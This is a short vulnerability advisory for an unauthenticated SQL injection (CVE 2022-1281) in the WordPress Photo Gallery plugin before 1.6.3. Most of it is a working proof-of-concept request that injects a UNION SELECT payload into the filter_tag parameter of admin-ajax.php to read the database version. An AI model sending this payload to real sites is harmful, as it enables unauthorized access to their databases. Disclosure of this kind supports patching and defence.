Photo Gallery < 1.6.3 – Unauthenticated SQL Injection | CVE 2022-1281

Description

The plugin does not properly escape the $_POST['filter_tag'] parameter, which is appended to an SQL query, making SQL Injection attacks possible.

Proof of Concept

POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
Connection: close

action=GalleryBox&filter_tag=1)" union select * from (select 123)a1 join (select 2)a2 join (select 3)a3 join (select 2)a4 join (select 2)a5  join (select 2)a6 join (select 2)a7 join (select 2)a8 join (select 2)a9 join (select 2)a10 join (select 2)a11 join (select 2)a12 join (select 2)a13 join (select 2)a14 join (select 2)a15 join (select 2)a16 join (select 2)a17 join (select 2)a18 join (select version())a19 join (select 2)a20 join (select 2)a21 join (select 2)a22 join (select 2)a23-- -